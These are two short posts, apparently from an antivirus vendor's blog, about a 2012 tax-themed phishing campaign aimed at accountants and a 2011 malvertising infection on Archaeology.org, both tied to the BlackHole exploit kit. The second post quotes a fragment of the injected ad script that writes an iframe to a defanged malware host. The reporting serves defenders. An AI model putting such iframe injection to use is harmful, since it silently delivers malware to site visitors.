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March 9th, 2012

This time, the bad guys want your tax accountant

While taxpayers are the regular target of springtime malware schemes, this year the bad guys are aiming for the accountants.

A series of imposter emails are threatening recipients with the removal of their professional accreditation if they fail to respond promptly. The tax-phish appear to be from organizations such as the American Institute of Certified Public Accountants(AICPA), Better Business Bureau(BBB), and Intuit tax services.

After clicking on the email, users are redirected through a hacked legitimate site to the final malware distribution center where their computer can download fake antivirus or another malware package selected by the bad guys.

This spam campaign started in the last week of February. A tax-themed attack is a traditional feature of March and April as Americans prepare their income tax returns.

The tax-time malware is the latest example of the BlackHole Exploits Kit at work – and shows that the bad guys’ graphic and language skills are improving. Read more…

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November 21st, 2011

Discover lost fortresses and modern malware

History fans  can do more than just learn about a vanished empire in the Sahara. When they visit Archaeology.org, the online publication of the Archaeological Institute of America, they can also pick up malware via an infected advertisement on the page.

“It’s a blackhole attack through advertisements, OpenX in this case,” confirmed Jiri Sejtko, senior virus analyst at the AVAST Virus Lab. “Here it is: OA_output['16'] += “<”+…. document.write(\’<”+”iframe src=\”hxxp://hdfh11.coom.in/main.php?page=423b262d0a1a9f70\”

OpenX is an open-source platform for exchanging advertisements. The blackhole toolkit is, in a nutshell, a system for delivering a wide range of malware. “It could be almost anything, for example a worm or fake antivirus,” added Jiri.

This latest bit of malware was uncovered by computer users researching the hotlinks on a recent National Geographic article http://news.nationalgeographic.com/news/2011/11/111111-sahara-libya-lost-civilization-science-satellites/ and the Discover magazine article Satellite Photos Show Ancient Saharan Fortresses of a Lost Empire. Read more…

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